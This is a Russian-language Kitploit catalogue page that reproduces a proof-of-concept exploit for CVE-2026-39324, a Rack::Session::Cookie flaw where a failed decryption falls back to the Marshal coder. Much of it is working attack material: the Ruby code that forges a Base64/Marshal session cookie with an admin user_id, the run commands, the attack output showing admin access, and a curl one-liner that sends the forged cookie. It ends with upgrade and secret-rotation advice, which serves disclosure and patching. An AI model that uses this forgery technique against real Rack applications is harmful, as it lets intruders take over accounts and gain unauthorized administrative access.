Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-39324 — Эксплойт для проверки концепции обхода аутентификации Rack::Cookie (CVE-2026-39324), демонстрирующий подделку сессии через резервный кодер для получения доступа администратора. | Kitploit
Инструменты/GitHubGitHub/sm1ee/cve-2026-39324
Аутентификация и авторизацияАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на Проникновение
GitHubsm1ee/cve-2026-39324

CVE-2026-39324

Эксплойт для проверки концепции обхода аутентификации Rack::Cookie (CVE-2026-39324), демонстрирующий подделку сессии через резервный кодер для получения доступа администратора.

Репозиторий
4 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-39324 Эксплойт PoC

Сбой расшифровки Rack::Session::Cookie приводит к приёму незашифрованных cookie

КонсультацияGHSA-33qg-7wpp-89cq
Пакетrack-session (RubyGems)
Затронутые версии<= 2.1.1
Исправлено в2.1.2

Краткое описание

Rack::Session::Cookie с параметром secrets: должен принимать только зашифрованные cookie. Но когда расшифровка не удаётся, он не отклоняет cookie — вместо этого он переключается на стандартный кодер Base64::Marshal.

Злоумышленник может отправить обычный cookie Base64(Marshal.dump(...)), и сервер примет его как действительные данные сессии, не зная ни одного секрета.

Условия

  • rack-session <= 2.1.1
  • Rack::Session::Cookie с параметром secrets:
  • Приложение использует значения сессии (user_id, role и т. д.) для авторизации
  • Злоумышленник может отправлять HTTP-запросы на целевой сервер

Не затронуты:

  • secret: (единственное число) — использует HMAC-подпись, другой путь кода. Уязвим только secrets: (множественное число, режим зашифрованных cookie).
  • Rails — использует ActionDispatch::Session::CookieStore, отдельная реализация.

Корневая причина

root@kitploit:~
# lib/rack/session/cookie.rb

# Резервный кодер создаётся всегда, независимо от конфигурации secrets:
@coder = options[:coder] ||= Base64::Marshal.new

# Пытается расшифровать — все попытки неудачны для незашифрованного cookie
encryptors.each do |encryptor|
  session_data = encryptor.decrypt(cookie_data) rescue next
  break
end

# ОШИБКА: не отклоняет, переходит к незашифрованному кодеру
if !session_data && coder
  session_data = coder.decode(cookie_data)  # → Marshal.load(Base64.decode64(...))
end

Сбой расшифровки на пути secrets: должен быть терминальным. Вместо этого cookie передаётся в coder.decode(), поэтому обычные cookie загружаются как данные сессии.

Воспроизведение

root@kitploit:~
poc/
├── Gemfile      rack-session 2.1.1
├── server.rb    Rack-приложение с конфигурацией secrets:
├── verify.rb    Базовая проверка (нормальное поведение)
└── attack.rb    Подделка сессии (эксплойт)

Запуск

root@kitploit:~
cd poc
bundle install

ruby server.rb &      # запустить уязвимый сервер
ruby verify.rb        # подтвердить нормальное поведение
ruby attack.rb        # подделать cookie → доступ администратора

server.rb

Rack-приложение, использующее secrets: для зашифрованных cookie. Два пользователя: id=1 (обычный), id=2 (администратор). В сессии хранится только user_id; проверка администратора — это серверный поиск.

verify.rb

Подтверждает, что сервер работает корректно:

ЗапросОжидаемый результат
GET /admin (без cookie)403
POST /login?id=1200, зашифрованный cookie
GET /admin (cookie пользователя id=1)403

attack.rb

Подделывает cookie сессии без какого-либо секрета.

1) Подделка cookie:

root@kitploit:~
payload = { "session_id" => "attacker-forged", "user_id" => 2 }
cookie  = Base64.strict_encode64(Marshal.dump(payload))

2) Процесс на стороне сервера при получении поддельного cookie:

root@kitploit:~
encryptor #1 decrypt → HMAC недействителен
encryptor #2 decrypt → HMAC недействителен
fallback → coder.decode() → Marshal.load → сессия злоумышленника принята
→ session["user_id"] = 2 → пользователь-администратор определён → 200 OK

Вывод

root@kitploit:~
$ ruby attack.rb
--- CVE-2026-39324: Подделка сессии ---
Цель:  http://127.0.0.1:9416
Полезная нагрузка: {"session_id" => "attacker-forged", "user_id" => 2}
Cookie:  rack.session=BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiFGF0dGFja2VyLWZvcmdlZAY7AFRJIgx1c2VyX2lkBjsAVGkH

Ошибка шифровальщика cookie сессии: HMAC недействителен   ← encryptor #1 не сработал
Ошибка шифровальщика cookie сессии: HMAC недействителен   ← encryptor #2 не сработал, но cookie не отклонён
Статус: 200
Тело:   {"status" => "ok", "message" => "admin panel", "session_hash" => {"session_id" => "attacker-forged", "user_id" => 2}, "current_user" => {"id" => 2, "email" => "[email protected]", "admin" => true}}

[!] УЯЗВИМО — поддельный user_id=2 принят, предоставлен доступ администратора.

Обе проверки HMAC не проходят, но cookie не отклоняется — резервный кодер принимает его, и злоумышленник получает доступ администратора.

curl

root@kitploit:~
ruby -rbase64 -e 'puts Base64.strict_encode64(Marshal.dump({"user_id"=>2}))'
# → BAh7BkkiDHVzZXJfaWQGOgZFVGkH

curl http://127.0.0.1:9416/admin -H 'Cookie: rack.session=BAh7BkkiDHVzZXJfaWQGOgZFVGkH'

Устранение

  1. Обновите rack-session до версии >= 2.1.2
  2. Смените секреты сессии после обновления — поддельные сессии могли быть приняты и перевыпущены до установки исправления
Скачать инструмент